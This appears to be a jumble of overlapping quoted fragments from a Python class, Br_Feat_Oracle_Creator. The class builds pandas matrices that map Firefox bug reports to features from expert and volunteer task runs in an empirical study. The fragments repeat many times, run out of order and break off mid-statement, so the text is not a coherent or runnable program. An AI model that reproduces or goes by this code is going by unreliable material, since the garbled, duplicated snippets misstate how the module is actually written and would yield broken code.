self.__create_exp_feat_br_matrix(expert_taskruns) fd.Feat_BR_Oracles.write_feat_br_expert_df(feat_br_matrix) def create_br_feat_expert_2_matrix(self,", "__init__(self, bugreports, features): self.bugreports = bugreports self.features = features def __shift_taskruns_answers(self, taskruns): new_answers", "taskruns.id.values if t_id not in ignored_taskruns] taskruns = taskruns[taskruns.id.isin(not_ignored_taskruns)] feat_br_matrix = pd.DataFrame(columns=self.features.feat_name.values, index=self.bugreports.Bug_Number)", "as pd from modules.utils import aux_functions from modules.utils import firefox_dataset_p2 as fd class", "index=self.bugreports.Bug_Number) feat_br_matrix.index.names = ['bug_number'] for idx,row in taskruns.iterrows(): ans = row.new_answers.split(\" \") for", "feat_br_matrix = pd.DataFrame(columns=self.features.feat_name.values, index=self.bugreports.Bug_Number) feat_br_matrix.index.names = ['bug_number'] for idx,row in taskruns.iterrows(): ans =", "features def __shift_taskruns_answers(self, taskruns): new_answers = list(taskruns.answers.values) new_answers = [new_answers[-1]] + new_answers del", "range(len(ans)-2): # -2 ==> dropped features from branch 65 feat_name = feat_br_matrix.columns[i] feat_br_matrix.at[row.bug_id,", "feat_name] = int(ans[i]) return feat_br_matrix def create_br_feat_expert_matrix(self, expert_taskruns): feat_br_matrix = self.__create_exp_feat_br_matrix(expert_taskruns) fd.Feat_BR_Oracles.write_feat_br_expert_df(feat_br_matrix) def", "create_br_feat_volunteers_matrix(self, taskruns_volunteers_1, taskruns_volunteers_2): ignored_taskruns = [154, 155, 156, 157, 169, 170, 171, 172,", "class Br_Feat_Oracle_Creator: def __init__(self, bugreports, features): self.bugreports = bugreports self.features = features def", "= bugreports self.features = features def __shift_taskruns_answers(self, taskruns): new_answers = list(taskruns.answers.values) new_answers =", "def create_br_feat_expert_matrix(self, expert_taskruns): feat_br_matrix = self.__create_exp_feat_br_matrix(expert_taskruns) fd.Feat_BR_Oracles.write_feat_br_expert_df(feat_br_matrix) def create_br_feat_expert_2_matrix(self, expert_taskruns): feat_br_matrix = self.__create_exp_feat_br_matrix(expert_taskruns)", "taskruns = pd.concat([taskruns_volunteers_1, taskruns_volunteers_2]) taskruns.sort_values(by='bug_id', inplace=True) taskruns = taskruns[(taskruns.bug_id != 1181835) & (taskruns.bug_id", "199, 200, 201, 202, 203, 204, 206, 241, 242, 253, 264, 265, 266,", "expert_taskruns): feat_br_matrix = self.__create_exp_feat_br_matrix(expert_taskruns) fd.Feat_BR_Oracles.write_feat_br_expert_df(feat_br_matrix) def create_br_feat_expert_2_matrix(self, expert_taskruns): feat_br_matrix = self.__create_exp_feat_br_matrix(expert_taskruns) fd.Feat_BR_Oracles.write_feat_br_expert_2_df(feat_br_matrix) def", "= features def __shift_taskruns_answers(self, taskruns): new_answers = list(taskruns.answers.values) new_answers = [new_answers[-1]] + new_answers", "= pd.DataFrame(columns=self.features.feat_name.values, index=self.bugreports.Bug_Number) feat_br_matrix.index.names = ['bug_number'] for idx,row in taskruns.iterrows(): ans = row.new_answers.split(\"", "267, 268, 269, 270] taskruns_volunteers_1 = self.__shift_taskruns_answers(taskruns_volunteers_1) taskruns_volunteers_2 = self.__shift_taskruns_answers(taskruns_volunteers_2) taskruns = pd.concat([taskruns_volunteers_1,", "dropped features from branch 65 feat_name = feat_br_matrix.columns[i] feat_br_matrix.at[row.bug_id, feat_name] = int(ans[i]) return", "# drop taskrun lost during empirical study not_ignored_taskruns = [t_id for t_id in", "= row.new_answers.split(\" \") for i in range(len(ans)-2): # -2 ==> dropped features from", "bugreports self.features = features def __shift_taskruns_answers(self, taskruns): new_answers = list(taskruns.answers.values) new_answers = [new_answers[-1]]", "self.__create_exp_feat_br_matrix(expert_taskruns) fd.Feat_BR_Oracles.write_feat_br_expert_2_df(feat_br_matrix) def create_br_feat_volunteers_matrix(self, taskruns_volunteers_1, taskruns_volunteers_2): ignored_taskruns = [154, 155, 156, 157, 169," ]